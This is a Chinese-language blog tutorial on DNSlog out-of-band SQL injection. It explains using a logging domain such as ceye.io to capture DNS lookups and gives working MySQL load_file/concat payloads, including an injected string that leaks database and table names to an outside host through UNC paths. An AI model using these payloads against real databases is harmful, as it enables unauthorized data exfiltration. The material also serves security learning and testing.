DNS log注入

DNS注入并不是对DNS服务器进行注入,而是利用DNS在解析的时候会留下有用的日志,简称:DNS log注入。

0x00原理

首先需要一个可以配置的域名,比如:ceye.io,然后通过代理商设置域名ceye.io的nameserver为自己的服务器A,然后在服务器A上配置好DNS server,这样以来所有ceye.io及其子域名的查询都会到服务器A上,这时就能够实时地监控域名查询请求了。
那么上面说的这些和我们这个DNS log注入有什么关系,DNS在解析的时候会留下记录,然后我们来读取这个多级域名的解析日志来获取我们所想要的内容

0x01实现条件

1、SQL盲注、无回显的命令执行、无回显的SSRF
2、只能用于windows系统
3、需要用到mysql中的load_file()函数,在Mysql中,load_file()函数读取一个文件并将其内容作为字符串返回。(不绝对,仅仅只是列举了mysql数据库的函数)
查看load_file()可以读取的磁盘是哪些;命令

show variables like '%secure%';

①当secure_file_priv为空,就可以读取磁盘的目录。
②当secure_file_priv为D:\,就可以读取D盘的文件。
③当secure_file_priv为null,load_file就不能加载文件。


查看读取权限

在mysql命令下执行命令:

select load_file('\\\\helloworld.****.ceye.io\\aaa');
DNSlog平台解析情况

notice:
①hellworld这个参数是后续需要编写查询代码,现在仅是测试DNSlog平台查询情况;
②为什么出现的“\”都是成对出现?答:双斜杠表示网络资源路径,多加两个“\”就是转义了反斜杠;
③后面的aaa我这边测试是必须加上,可以不是aaa,阿猫阿狗都行;这样DNS才能查询,具体原因没有细查,欢迎留言讨论。
④问:为什么DNSlog注入只能用于windows系统。答:load_file()函数在Linux下是无法用来做DNSLog攻击的,因为linux没有UNC这个东西,所以当MySQL处于Linux系统中的时候,是不能使用这种方式外带数据的。
难一点的语句:

①load_file(concat('\\\\',(select database()),'xxx.ceye.io\\aaa'))
②' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='xxxx' limit 0,1),'.XXXX.ceye.io\\aaa'))),1,1)--+

concat()函数,用来拼接字符串的;
附加内容:

RCE运用

补充:

看了一些网上面的关于DNSlog注入的文章,都是比较全面充足的,如果我摘抄过来的话也没什么意思,就大概介绍下DNSlog注入入门级的使用吧,更多的是熟悉注入新姿势;因为DNSlog注入并不仅仅只是适用于mysql数据库的,其他数据库的利用我这边就没有罗列出来,如果有需要的话可以参考文章下方的参考链接。
先写这么多,后续再补充。

DNS平台:
http://www.dnslog.cn
http://admin.dnslog.link
http://ceye.io
参考链接:
https://www.anquanke.com/post/id/98096
https://www.cnblogs.com/afanti/p/8047530.html

你可能感兴趣的:(DNS log注入)